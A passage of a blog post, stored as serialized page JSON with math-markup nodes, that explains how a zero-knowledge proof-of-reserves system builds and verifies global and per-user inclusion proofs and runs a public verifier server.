lassName":106071,"style":103324},[15278],[],{"type":23,"tag":75,"props":106074,"children":106076},{"className":106075},[15284,32803],[106077],{"type":29,"value":21899},{"type":23,"tag":75,"props":106079,"children":106081},{"className":106080},[15284,32803],[106082],{"type":29,"value":103641},{"type":23,"tag":75,"props":106084,"children":106086},{"className":106085},[15284,32803],[106087],{"type":29,"value":14507},{"type":23,"tag":75,"props":106089,"children":106091},{"className":106090},[15284,32803],[106092],{"type":29,"value":32},{"type":23,"tag":75,"props":106094,"children":106096},{"className":106095},[15284,32803],[106097],{"type":29,"value":105728},{"type":23,"tag":75,"props":106099,"children":106101},{"className":106100},[15284],[106102,106107],{"type":23,"tag":75,"props":106103,"children":106105},{"className":106104,"style":105736},[15284,32803],[106106],{"type":29,"value":44278},{"type":23,"tag":75,"props":106108,"children":106110},{"className":106109},[15299],[106111],{"type":23,"tag":75,"props":106112,"children":106114},{"className":106113},[15304,32857],[106115,106144],{"type":23,"tag":75,"props":106116,"children":106118},{"className":106117},[15309],[106119,106139],{"type":23,"tag":75,"props":106120,"children":106122},{"className":106121,"style":103911},[15314],[106123],{"type":23,"tag":75,"props":106124,"children":106125},{"style":105757},[106126,106130],{"type":23,"tag":75,"props":106127,"children":106129},{"className":106128,"style":15324},[15323],[],{"type":23,"tag":75,"props":106131,"children":106133},{"className":106132},[15329,15330,15331,15332],[106134],{"type":23,"tag":75,"props":106135,"children":106137},{"className":106136},[15284,32803,15332],[106138],{"type":29,"value":12935},{"type":23,"tag":75,"props":106140,"children":106142},{"className":106141},[32960],[106143],{"type":29,"value":32963},{"type":23,"tag":75,"props":106145,"children":106147},{"className":106146},[15309],[106148],{"type":23,"tag":75,"props":106149,"children":106151},{"className":106150,"style":103465},[15314],[106152],{"type":23,"tag":75,"props":106153,"children":106154},{},[],{"type":23,"tag":75,"props":106156,"children":106158},{"className":106157},[15284],[106159],{"type":29,"value":557},{"type":23,"tag":75,"props":106161,"children":106163},{"className":106162},[15284,32803],[106164],{"type":29,"value":32},{"type":23,"tag":75,"props":106166,"children":106168},{"className":106167},[15284,32803],[106169],{"type":29,"value":103641},{"type":23,"tag":75,"props":106171,"children":106173},{"className":106172},[15284,32803],[106174],{"type":29,"value":14507},{"type":23,"tag":75,"props":106176,"children":106178},{"className":106177,"style":103394},[15284,32803],[106179],{"type":29,"value":103397},{"type":23,"tag":75,"props":106181,"children":106183},{"className":106182},[15284,32803],[106184],{"type":29,"value":12935},{"type":23,"tag":75,"props":106186,"children":106188},{"className":106187},[15284,32803],[106189],{"type":29,"value":14432},{"type":23,"tag":75,"props":106191,"children":106193},{"className":106192,"style":103382},[15284],[106194],{"type":29,"value":14370},{"type":23,"tag":75,"props":106196,"children":106198},{"className":106197},[15284,32803],[106199],{"type":29,"value":105833},{"type":23,"tag":75,"props":106201,"children":106203},{"className":106202},[15284,32803],[106204],{"type":29,"value":32},{"type":23,"tag":75,"props":106206,"children":106208},{"className":106207},[15284,32803],[106209],{"type":29,"value":103641},{"type":23,"tag":75,"props":106211,"children":106213},{"className":106212},[15284,32803],[106214],{"type":29,"value":32945},{"type":23,"tag":75,"props":106216,"children":106218},{"className":106217},[15284],[106219],{"type":29,"value":557},{"type":23,"tag":75,"props":106221,"children":106223},{"className":106222},[15284,32803],[106224],{"type":29,"value":940},{"type":23,"tag":75,"props":106226,"children":106228},{"className":106227},[15284,32803],[106229],{"type":29,"value":103373},{"type":23,"tag":75,"props":106231,"children":106233},{"className":106232},[15284,32803],[106234],{"type":29,"value":32945},{"type":23,"tag":75,"props":106236,"children":106238},{"className":106237,"style":103382},[15284],[106239],{"type":29,"value":14370},{"type":23,"tag":75,"props":106241,"children":106243},{"className":106242},[15284,32803],[106244],{"type":29,"value":32},{"type":23,"tag":75,"props":106246,"children":106248},{"className":106247,"style":103382},[15284,32803],[106249],{"type":29,"value":104201},{"type":23,"tag":75,"props":106251,"children":106253},{"className":106252},[15284,32803],[106254],{"type":29,"value":12935},{"type":23,"tag":75,"props":106256,"children":106258},{"className":106257},[15284,32803],[106259],{"type":29,"value":104212},{"type":23,"tag":75,"props":106261,"children":106263},{"className":106262},[32932],[106264],{"type":29,"value":814},{"type":23,"tag":75,"props":106266,"children":106268},{"className":106267},[15284],[106269],{"type":29,"value":648},{"type":23,"tag":75,"props":106271,"children":106273},{"className":106272},[32954],[106274],{"type":29,"value":1610},{"type":23,"tag":2801,"props":106276,"children":106277},{},[106278,106636,106637],{"type":23,"tag":71,"props":106279,"children":106281},{"className":106280},[15256,15257],[106282],{"type":23,"tag":75,"props":106283,"children":106285},{"className":106284},[15262],[106286],{"type":23,"tag":75,"props":106287,"children":106289},{"className":106288,"ariaHidden":15268},[15267],[106290,106396],{"type":23,"tag":75,"props":106291,"children":106293},{"className":106292},[15273],[106294,106298,106303,106308,106313,106318,106323,106328,106333,106338,106343,106348,106353,106358,106363,106368,106373,106378,106383,106387,106392],{"type":23,"tag":75,"props":106295,"children":106297},{"className":106296,"style":103324},[15278],[],{"type":23,"tag":75,"props":106299,"children":106301},{"className":106300},[15284,32803],[106302],{"type":29,"value":940},{"type":23,"tag":75,"props":106304,"children":106306},{"className":106305},[15284,32803],[106307],{"type":29,"value":103373},{"type":23,"tag":75,"props":106309,"children":106311},{"className":106310},[15284,32803],[106312],{"type":29,"value":32945},{"type":23,"tag":75,"props":106314,"children":106316},{"className":106315,"style":103382},[15284],[106317],{"type":29,"value":14370},{"type":23,"tag":75,"props":106319,"children":106321},{"className":106320},[15284,32803],[106322],{"type":29,"value":32},{"type":23,"tag":75,"props":106324,"children":106326},{"className":106325,"style":103382},[15284,32803],[106327],{"type":29,"value":104201},{"type":23,"tag":75,"props":106329,"children":106331},{"className":106330},[15284,32803],[106332],{"type":29,"value":12935},{"type":23,"tag":75,"props":106334,"children":106336},{"className":106335},[15284,32803],[106337],{"type":29,"value":103409},{"type":23,"tag":75,"props":106339,"children":106341},{"className":106340},[32932],[106342],{"type":29,"value":814},{"type":23,"tag":75,"props":106344,"children":106346},{"className":106345},[15284,32803],[106347],{"type":29,"value":940},{"type":23,"tag":75,"props":106349,"children":106351},{"className":106350},[15284,32803],[106352],{"type":29,"value":103373},{"type":23,"tag":75,"props":106354,"children":106356},{"className":106355},[15284,32803],[106357],{"type":29,"value":32945},{"type":23,"tag":75,"props":106359,"children":106361},{"className":106360,"style":103382},[15284],[106362],{"type":29,"value":14370},{"type":23,"tag":75,"props":106364,"children":106366},{"className":106365},[15284,32803],[106367],{"type":29,"value":67587},{"type":23,"tag":75,"props":106369,"children":106371},{"className":106370},[15284,32803],[106372],{"type":29,"value":103641},{"type":23,"tag":75,"props":106374,"children":106376},{"className":106375},[15284,32803],[106377],{"type":29,"value":62318},{"type":23,"tag":75,"props":106379,"children":106381},{"className":106380},[32954],[106382],{"type":29,"value":1610},{"type":23,"tag":75,"props":106384,"children":106386},{"className":106385,"style":15461},[15363],[],{"type":23,"tag":75,"props":106388,"children":106390},{"className":106389},[15466],[106391],{"type":29,"value":2469},{"type":23,"tag":75,"props":106393,"children":106395},{"className":106394,"style":15461},[15363],[],{"type":23,"tag":75,"props":106397,"children":106399},{"className":106398},[15273],[106400,106404,106409,106414,106419,106424,106429,106486,106491,106496,106501,106506,106511,106516,106521,106526,106531,106536,106541,106546,106551,106556,106561,106566,106571,106576,106581,106586,106591,106596,106601,106606,106611,106616,106621,106626,106631],{"type":23,"tag":75,"props":106401,"children":106403},{"className":106402,"style":103324},[15278],[],{"type":23,"tag":75,"props":106405,"children":106407},{"className":106406},[15284,32803],[106408],{"type":29,"value":21899},{"type":23,"tag":75,"props":106410,"children":106412},{"className":106411},[15284,32803],[106413],{"type":29,"value":103641},{"type":23,"tag":75,"props":106415,"children":106417},{"className":106416},[15284,32803],[106418],{"type":29,"value":14507},{"type":23,"tag":75,"props":106420,"children":106422},{"className":106421},[15284,32803],[106423],{"type":29,"value":32},{"type":23,"tag":75,"props":106425,"children":106427},{"className":106426},[15284,32803],[106428],{"type":29,"value":105728},{"type":23,"tag":75,"props":106430,"children":106432},{"className":106431},[15284],[106433,106438],{"type":23,"tag":75,"props":106434,"children":106436},{"className":106435,"style":105736},[15284,32803],[106437],{"type":29,"value":44278},{"type":23,"tag":75,"props":106439,"children":106441},{"className":106440},[15299],[106442],{"type":23,"tag":75,"props":106443,"children":106445},{"className":106444},[15304,32857],[106446,106475],{"type":23,"tag":75,"props":106447,"children":106449},{"className":106448},[15309],[106450,106470],{"type":23,"tag":75,"props":106451,"children":106453},{"className":106452,"style":103911},[15314],[106454],{"type":23,"tag":75,"props":106455,"children":106456},{"style":105757},[106457,106461],{"type":23,"tag":75,"props":106458,"children":106460},{"className":106459,"style":15324},[15323],[],{"type":23,"tag":75,"props":106462,"children":106464},{"className":106463},[15329,15330,15331,15332],[106465],{"type":23,"tag":75,"props":106466,"children":106468},{"className":106467},[15284,32803,15332],[106469],{"type":29,"value":12935},{"type":23,"tag":75,"props":106471,"children":106473},{"className":106472},[32960],[106474],{"type":29,"value":32963},{"type":23,"tag":75,"props":106476,"children":106478},{"className":106477},[15309],[106479],{"type":23,"tag":75,"props":106480,"children":106482},{"className":106481,"style":103465},[15314],[106483],{"type":23,"tag":75,"props":106484,"children":106485},{},[],{"type":23,"tag":75,"props":106487,"children":106489},{"className":106488},[15284],[106490],{"type":29,"value":557},{"type":23,"tag":75,"props":106492,"children":106494},{"className":106493},[15284,32803],[106495],{"type":29,"value":32},{"type":23,"tag":75,"props":106497,"children":106499},{"className":106498},[15284,32803],[106500],{"type":29,"value":103641},{"type":23,"tag":75,"props":106502,"children":106504},{"className":106503},[15284,32803],[106505],{"type":29,"value":14507},{"type":23,"tag":75,"props":106507,"children":106509},{"className":106508,"style":103394},[15284,32803],[106510],{"type":29,"value":103397},{"type":23,"tag":75,"props":106512,"children":106514},{"className":106513},[15284,32803],[106515],{"type":29,"value":12935},{"type":23,"tag":75,"props":106517,"children":106519},{"className":106518},[15284,32803],[106520],{"type":29,"value":14432},{"type":23,"tag":75,"props":106522,"children":106524},{"className":106523,"style":103382},[15284],[106525],{"type":29,"value":14370},{"type":23,"tag":75,"props":106527,"children":106529},{"className":106528},[15284,32803],[106530],{"type":29,"value":105833},{"type":23,"tag":75,"props":106532,"children":106534},{"className":106533},[15284,32803],[106535],{"type":29,"value":32},{"type":23,"tag":75,"props":106537,"children":106539},{"className":106538},[15284,32803],[106540],{"type":29,"value":103641},{"type":23,"tag":75,"props":106542,"children":106544},{"className":106543},[15284,32803],[106545],{"type":29,"value":32945},{"type":23,"tag":75,"props":106547,"children":106549},{"className":106548},[15284],[106550],{"type":29,"value":557},{"type":23,"tag":75,"props":106552,"children":106554},{"className":106553},[15284,32803],[106555],{"type":29,"value":940},{"type":23,"tag":75,"props":106557,"children":106559},{"className":106558},[15284,32803],[106560],{"type":29,"value":103373},{"type":23,"tag":75,"props":106562,"children":106564},{"className":106563},[15284,32803],[106565],{"type":29,"value":32945},{"type":23,"tag":75,"props":106567,"children":106569},{"className":106568,"style":103382},[15284],[106570],{"type":29,"value":14370},{"type":23,"tag":75,"props":106572,"children":106574},{"className":106573},[15284,32803],[106575],{"type":29,"value":32},{"type":23,"tag":75,"props":106577,"children":106579},{"className":106578,"style":103382},[15284,32803],[106580],{"type":29,"value":104201},{"type":23,"tag":75,"props":106582,"children":106584},{"className":106583},[15284,32803],[106585],{"type":29,"value":12935},{"type":23,"tag":75,"props":106587,"children":106589},{"className":106588},[15284,32803],[106590],{"type":29,"value":104212},{"type":23,"tag":75,"props":106592,"children":106594},{"className":106593},[32932],[106595],{"type":29,"value":814},{"type":23,"tag":75,"props":106597,"children":106599},{"className":106598},[15284,32803],[106600],{"type":29,"value":940},{"type":23,"tag":75,"props":106602,"children":106604},{"className":106603},[15284,32803],[106605],{"type":29,"value":103373},{"type":23,"tag":75,"props":106607,"children":106609},{"className":106608},[15284,32803],[106610],{"type":29,"value":32945},{"type":23,"tag":75,"props":106612,"children":106614},{"className":106613,"style":103382},[15284],[106615],{"type":29,"value":14370},{"type":23,"tag":75,"props":106617,"children":106619},{"className":106618},[15284,32803],[106620],{"type":29,"value":67587},{"type":23,"tag":75,"props":106622,"children":106624},{"className":106623},[15284,32803],[106625],{"type":29,"value":103641},{"type":23,"tag":75,"props":106627,"children":106629},{"className":106628},[15284,32803],[106630],{"type":29,"value":62318},{"type":23,"tag":75,"props":106632,"children":106634},{"className":106633},[32954],[106635],{"type":29,"value":1610},{"type":29,"value":949},{"type":23,"tag":16596,"props":106638,"children":106639},{},[106640],{"type":29,"value":106641},"(verifies if all asset prices are the same)",{"type":23,"tag":2801,"props":106643,"children":106644},{},[106645,107024,107025],{"type":23,"tag":71,"props":106646,"children":106648},{"className":106647},[15256,15257],[106649],{"type":23,"tag":75,"props":106650,"children":106652},{"className":106651},[15262],[106653],{"type":23,"tag":75,"props":106654,"children":106656},{"className":106655,"ariaHidden":15268},[15267],[106657,106738],{"type":23,"tag":75,"props":106658,"children":106660},{"className":106659},[15273],[106661,106665,106670,106675,106680,106685,106690,106695,106700,106705,106710,106715,106720,106725,106729,106734],{"type":23,"tag":75,"props":106662,"children":106664},{"className":106663,"style":104795},[15278],[],{"type":23,"tag":75,"props":106666,"children":106668},{"className":106667},[15284,32803],[106669],{"type":29,"value":62318},{"type":23,"tag":75,"props":106671,"children":106673},{"className":106672,"style":103382},[15284,32803],[106674],{"type":29,"value":104807},{"type":23,"tag":75,"props":106676,"children":106678},{"className":106677,"style":104811},[15284,32803],[106679],{"type":29,"value":13080},{"type":23,"tag":75,"props":106681,"children":106683},{"className":106682,"style":103394},[15284,32803],[106684],{"type":29,"value":103397},{"type":23,"tag":75,"props":106686,"children":106688},{"className":106687},[15284,32803],[106689],{"type":29,"value":62639},{"type":23,"tag":75,"props":106691,"children":106693},{"className":106692,"style":103382},[15284],[106694],{"type":29,"value":14370},{"type":23,"tag":75,"props":106696,"children":106698},{"className":106697},[15284,32803],[106699],{"type":29,"value":32945},{"type":23,"tag":75,"props":106701,"children":106703},{"className":106702},[15284,32803],[106704],{"type":29,"value":104839},{"type":23,"tag":75,"props":106706,"children":106708},{"className":106707,"style":103382},[15284],[106709],{"type":29,"value":14370},{"type":23,"tag":75,"props":106711,"children":106713},{"className":106712},[15284,32803],[106714],{"type":29,"value":104850},{"type":23,"tag":75,"props":106716,"children":106718},{"className":106717},[15284,32803],[106719],{"type":29,"value":21899},{"type":23,"tag":75,"props":106721,"children":106723},{"className":106722},[15284,32803],[106724],{"type":29,"value":8730},{"type":23,"tag":75,"props":106726,"children":106728},{"className":106727,"style":15461},[15363],[],{"type":23,"tag":75,"props":106730,"children":106732},{"className":106731},[15466],[106733],{"type":29,"value":2469},{"type":23,"tag":75,"props":106735,"children":106737},{"className":106736,"style":15461},[15363],[],{"type":23,"tag":75,"props":106739,"children":106741},{"className":106740},[15273],[106742,106746,106751,106756,106761,106766,106771,106776,106781,106786,106791,106848,106853,106857,106862,106867,106924,106929,106933,106938,106943,106947,106952,106957,107019],{"type":23,"tag":75,"props":106743,"children":106745},{"className":106744,"style":15384},[15278],[],{"type":23,"tag":75,"props":106747,"children":106749},{"className":106748,"style":32804},[15284,32803],[106750],{"type":29,"value":32807},{"type":23,"tag":75,"props":106752,"children":106754},{"className":106753},[15284,32803],[106755],{"type":29,"value":103336},{"type":23,"tag":75,"props":106757,"children":106759},{"className":106758},[15284,32803],[106760],{"type":29,"value":12935},{"type":23,"tag":75,"props":106762,"children":106764},{"className":106763},[15284,32803],[106765],{"type":29,"value":81736},{"type":23,"tag":75,"props":106767,"children":106769},{"className":106768},[15284,32803],[106770],{"type":29,"value":103352},{"type":23,"tag":75,"props":106772,"children":106774},{"className":106773},[15284,32803],[106775],{"type":29,"value":67587},{"type":23,"tag":75,"props":106777,"children":106779},{"className":106778},[32932],[106780],{"type":29,"value":643},{"type":23,"tag":75,"props":106782,"children":106784},{"className":106783},[15284,32803],[106785],{"type":29,"value":104850},{"type":23,"tag":75,"props":106787,"children":106789},{"className":106788},[15284,32803],[106790],{"type":29,"value":21899},{"type":23,"tag":75,"props":106792,"children":106794},{"className":106793},[15284],[106795,106800],{"type":23,"tag":75,"props":106796,"children":106798},{"className":106797},[15284,32803],[106799],{"type":29,"value":8730},{"type":23,"tag":75,"props":106801,"children":106803},{"className":106802},[15299],[106804],{"type":23,"tag":75,"props":106805,"children":106807},{"className":106806},[15304,32857],[106808,106837],{"type":23,"tag":75,"props":106809,"children":106811},{"className":106810},[15309],[106812,106832],{"type":23,"tag":75,"props":106813,"children":106815},{"className":106814,"style":103434},[15314],[106816],{"type":23,"tag":75,"props":106817,"children":106818},{"style":103438},[106819,106823],{"type":23,"tag":75,"props":106820,"children":106822},{"className":106821,"style":15324},[15323],[],{"type":23,"tag":75,"props":106824,"children":106826},{"className":106825},[15329,15330,15331,15332],[106827],{"type":23,"tag":75,"props":106828,"children":106830},{"className":106829},[15284,15332],[106831],{"type":29,"value":648},{"type":23,"tag":75,"props":106833,"children":106835},{"className":106834},[32960],[106836],{"type":29,"value":32963},{"type":23,"tag":75,"props":106838,"children":106840},{"className":106839},[15309],[106841],{"type":23,"tag":75,"props":106842,"children":106844},{"className":106843,"style":103465},[15314],[106845],{"type":23,"tag":75,"props":106846,"children":106847},{},[],{"type":23,"tag":75,"props":106849,"children":106851},{"className":106850},[15395],[106852],{"type":29,"value":15398},{"type":23,"tag":75,"props":106854,"children":106856},{"className":106855,"style":15402},[15363],[],{"type":23,"tag":75,"props":106858,"children":106860},{"className":106859},[15284,32803],[106861],{"type":29,"value":104850},{"type":23,"tag":75,"props":106863,"children":106865},{"className":106864},[15284,32803],[106866],{"type":29,"value":21899},{"type":23,"tag":75,"props":106868,"children":106870},{"className":106869},[15284],[106871,106876],{"type":23,"tag":75,"props":106872,"children":106874},{"className":106873},[15284,32803],[106875],{"type":29,"value":8730},{"type":23,"tag":75,"props":106877,"children":106879},{"className":106878},[15299],[106880],{"type":23,"tag":75,"props":106881,"children":106883},{"className":106882},[15304,32857],[106884,106913],{"type":23,"tag":75,"props":106885,"children":106887},{"className":106886},[15309],[106888,106908],{"type":23,"tag":75,"props":106889,"children":106891},{"className":106890,"style":103434},[15314],[106892],{"type":23,"tag":75,"props":106893,"children":106894},{"style":103438},[106895,106899],{"type":23,"tag":75,"props":106896,"children":106898},{"className":106897,"style":15324},[15323],[],{"type":23,"tag":75,"props":106900,"children":106902},{"className":106901},[15329,15330,15331,15332],[106903],{"type":23,"tag":75,"props":106904,"children":106906},{"className":106905},[15284,15332],[106907],{"type":29,"value":7867},{"type":23,"tag":75,"props":106909,"children":106911},{"className":106910},[32960],[106912],{"type":29,"value":32963},{"type":23,"tag":75,"props":106914,"children":106916},{"className":106915},[15309],[106917],{"type":23,"tag":75,"props":106918,"children":106920},{"className":106919,"style":103465},[15314],[106921],{"type":23,"tag":75,"props":106922,"children":106923},{},[],{"type":23,"tag":75,"props":106925,"children":106927},{"className":106926},[15395],[106928],{"type":29,"value":15398},{"type":23,"tag":75,"props":106930,"children":106932},{"className":106931,"style":15402},[15363],[],{"type":23,"tag":75,"props":106934,"children":106936},{"className":106935},[15284],[106937],{"type":29,"value":9174},{"type":23,"tag":75,"props":106939,"children":106941},{"className":106940},[15395],[106942],{"type":29,"value":15398},{"type":23,"tag":75,"props":106944,"children":106946},{"className":106945,"style":15402},[15363],[],{"type":23,"tag":75,"props":106948,"children":106950},{"className":106949},[15284,32803],[106951],{"type":29,"value":104850},{"type":23,"tag":75,"props":106953,"children":106955},{"className":106954},[15284,32803],[106956],{"type":29,"value":21899},{"type":23,"tag":75,"props":106958,"children":106960},{"className":106959},[15284],[106961,106966],{"type":23,"tag":75,"props":106962,"children":106964},{"className":106963},[15284,32803],[106965],{"type":29,"value":8730},{"type":23,"tag":75,"props":106967,"children":106969},{"className":106968},[15299],[106970],{"type":23,"tag":75,"props":106971,"children":106973},{"className":106972},[15304,32857],[106974,107008],{"type":23,"tag":75,"props":106975,"children":106977},{"className":106976},[15309],[106978,107003],{"type":23,"tag":75,"props":106979,"children":106981},{"className":106980,"style":103434},[15314],[106982],{"type":23,"tag":75,"props":106983,"children":106984},{"style":103438},[106985,106989],{"type":23,"tag":75,"props":106986,"children":106988},{"className":106987,"style":15324},[15323],[],{"type":23,"tag":75,"props":106990,"children":106992},{"className":106991},[15329,15330,15331,15332],[106993],{"type":23,"tag":75,"props":106994,"children":106996},{"className":106995},[15284,15332],[106997],{"type":23,"tag":75,"props":106998,"children":107000},{"className":106999},[15284,15332],[107001],{"type":29,"value":107002},"31",{"type":23,"tag":75,"props":107004,"children":107006},{"className":107005},[32960],[107007],{"type":29,"value":32963},{"type":23,"tag":75,"props":107009,"children":107011},{"className":107010},[15309],[107012],{"type":23,"tag":75,"props":107013,"children":107015},{"className":107014,"style":103465},[15314],[107016],{"type":23,"tag":75,"props":107017,"children":107018},{},[],{"type":23,"tag":75,"props":107020,"children":107022},{"className":107021},[32954],[107023],{"type":29,"value":1347},{"type":29,"value":949},{"type":23,"tag":16596,"props":107026,"children":107027},{},[107028],{"type":29,"value":105170},{"type":23,"tag":2801,"props":107030,"children":107031},{},[107032,107037,107038],{"type":23,"tag":9690,"props":107033,"children":107034},{},[107035],{"type":29,"value":107036},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":949},{"type":23,"tag":16596,"props":107039,"children":107040},{},[107041],{"type":29,"value":105454},{"type":23,"tag":32,"props":107043,"children":107044},{},[107045],{"type":29,"value":107046},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":32,"props":107048,"children":107049},{},[107050],{"type":23,"tag":15189,"props":107051,"children":107053},{"alt":61763,"src":107052},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":24,"props":107055,"children":107057},{"id":107056},"global-proof-and-inclusion-proofs",[107058],{"type":29,"value":107059},"Global Proof and Inclusion Proofs",{"type":23,"tag":923,"props":107061,"children":107062},{"id":20532},[107063],{"type":29,"value":107064},"Proving",{"type":23,"tag":32,"props":107066,"children":107067},{},[107068,107070,107076,107077,107083,107084,107090],{"type":29,"value":107069},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":71,"props":107071,"children":107073},{"className":107072},[],[107074],{"type":29,"value":107075},"merkle_tree.json",{"type":29,"value":611},{"type":23,"tag":71,"props":107078,"children":107080},{"className":107079},[],[107081],{"type":29,"value":107082},"final_proof.json",{"type":29,"value":5777},{"type":23,"tag":71,"props":107085,"children":107087},{"className":107086},[],[107088],{"type":29,"value":107089},"private_nonces.json",{"type":29,"value":107091}," files.",{"type":23,"tag":32,"props":107093,"children":107094},{},[107095],{"type":29,"value":107096},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":32,"props":107098,"children":107099},{},[107100,107102,107108,107110,107115],{"type":29,"value":107101},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":71,"props":107103,"children":107105},{"className":107104},[],[107106],{"type":29,"value":107107},"inclusion_proof_\u003Cid>.json",{"type":29,"value":107109},"). ",{"type":23,"tag":9690,"props":107111,"children":107112},{},[107113],{"type":29,"value":107114},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":557},{"type":23,"tag":923,"props":107117,"children":107119},{"id":107118},"verifying",[107120],{"type":29,"value":107121},"Verifying",{"type":23,"tag":32,"props":107123,"children":107124},{},[107125],{"type":23,"tag":16596,"props":107126,"children":107127},{},[107128],{"type":29,"value":107129},"Global Proof",{"type":23,"tag":32,"props":107131,"children":107132},{},[107133,107135,107140,107141,107146],{"type":29,"value":107134},"To verify the global proof, the code deserializes the ",{"type":23,"tag":71,"props":107136,"children":107138},{"className":107137},[],[107139],{"type":29,"value":107075},{"type":29,"value":48741},{"type":23,"tag":71,"props":107142,"children":107144},{"className":107143},[],[107145],{"type":29,"value":107082},{"type":29,"value":107147}," files and performs these checks:",{"type":23,"tag":2797,"props":107149,"children":107150},{},[107151,107156,107161,107166,107192],{"type":23,"tag":2801,"props":107152,"children":107153},{},[107154],{"type":29,"value":107155},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":2801,"props":107157,"children":107158},{},[107159],{"type":29,"value":107160},"Verify the ZK final proof.",{"type":23,"tag":2801,"props":107162,"children":107163},{},[107164],{"type":29,"value":107165},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":2801,"props":107167,"children":107168},{},[107169,107171,107177,107179,107184,107185,107190],{"type":29,"value":107170},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":71,"props":107172,"children":107174},{"className":107173},[],[107175],{"type":29,"value":107176},"merkle_tree_hash",{"type":29,"value":107178}," public input. This ensures that the ",{"type":23,"tag":71,"props":107180,"children":107182},{"className":107181},[],[107183],{"type":29,"value":107075},{"type":29,"value":2721},{"type":23,"tag":71,"props":107186,"children":107188},{"className":107187},[],[107189],{"type":29,"value":107082},{"type":29,"value":107191}," are linked (they belong to the same global proof).",{"type":23,"tag":2801,"props":107193,"children":107194},{},[107195],{"type":29,"value":107196},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":32,"props":107198,"children":107199},{},[107200],{"type":23,"tag":16596,"props":107201,"children":107202},{},[107203],{"type":29,"value":107204},"Inclusion Proof",{"type":23,"tag":32,"props":107206,"children":107207},{},[107208,107210,107215,107217,107222],{"type":29,"value":107209},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":71,"props":107211,"children":107213},{"className":107212},[],[107214],{"type":29,"value":107107},{"type":29,"value":107216}," file and also the ",{"type":23,"tag":71,"props":107218,"children":107220},{"className":107219},[],[107221],{"type":29,"value":107082},{"type":29,"value":107223},". After that, it performs these checks:",{"type":23,"tag":2797,"props":107225,"children":107226},{},[107227,107231,107236,107241],{"type":23,"tag":2801,"props":107228,"children":107229},{},[107230],{"type":29,"value":107160},{"type":23,"tag":2801,"props":107232,"children":107233},{},[107234],{"type":29,"value":107235},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":2801,"props":107237,"children":107238},{},[107239],{"type":29,"value":107240},"Recalculate the user-related node leaf hash.",{"type":23,"tag":2801,"props":107242,"children":107243},{},[107244],{"type":29,"value":107245},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":24,"props":107247,"children":107249},{"id":107248},"por-verifier-server",[107250],{"type":29,"value":107251},"PoR Verifier Server",{"type":23,"tag":32,"props":107253,"children":107254},{},[107255,107257,107263],{"type":29,"value":107256},"To automate the verification process, we created a ",{"type":23,"tag":940,"props":107258,"children":107260},{"href":102893,"rel":107259},[944],[107261],{"type":29,"value":107262},"verifier server",{"type":29,"value":107264}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":32,"props":107266,"children":107267},{},[107268],{"type":29,"value":107269},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":32,"props":107271,"children":107272},{},[107273],{"type":23,"tag":15189,"props":107274,"children":107276},{"alt":61763,"src":107275},"/posts/por/backpack-por.png",[],{"type":23,"tag":32,"props":107278,"children":107279},{},[107280],{"type":29,"value":107281},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":27910,"props":107283,"children":107284},{},[107285,107295,107305,107315,107325,107335],{"type":23,"tag":2801,"props":107286,"children":107287},{},[107288,107293],{"type":23,"tag":16596,"props":107289,"children":107290},{},[107291],{"type":29,"value":107292},"Status",{"type":29,"value":107294}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":2801,"props":107296,"children":107297},{},[107298,107303],{"type":23,"tag":16596,"props":107299,"children":107300},{},[107301],{"type":29,"value":107302},"Proof Timestamp",{"type":29,"value":107304}," --> when the proof was generated by the exchange.",{"type":23,"tag":2801,"props":107306,"children":107307},{},[107308,107313],{"type":23,"tag":16596,"props":107309,"children":107310},{},[107311],{"type":29,"value":107312},"Verify Timestamp",{"type":29,"value":107314}," --> when the proof was verified by the PoR server.",{"type":23,"tag":2801,"props":107316,"children":107317},{},[107318,107323],{"type":23,"tag":16596,"props":107319,"children":107320},{},[107321],{"type":29,"value":107322},"Proof File URL",{"type":29,"value":107324}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":2801,"props":107326,"children":107327},{},[107328,107333],{"type":23,"tag":16596,"props":107329,"children":107330},{},[107331],{"type":29,"value":107332},"Prover Version",{"type":29,"value":107334}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":2801,"props":107336,"children":107337},{},[107338,107343],{"type":23,"tag":16596,"props":107339,"children":107340},{},[107341],{"type":29,"value":107342},"File Hash (SHA256)",{"type":29,"value":107344}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":32,"props":107346,"children":107347},{},[107348],{"type":29,"value":107349},"Also, you can check the exchange's liabilities on the 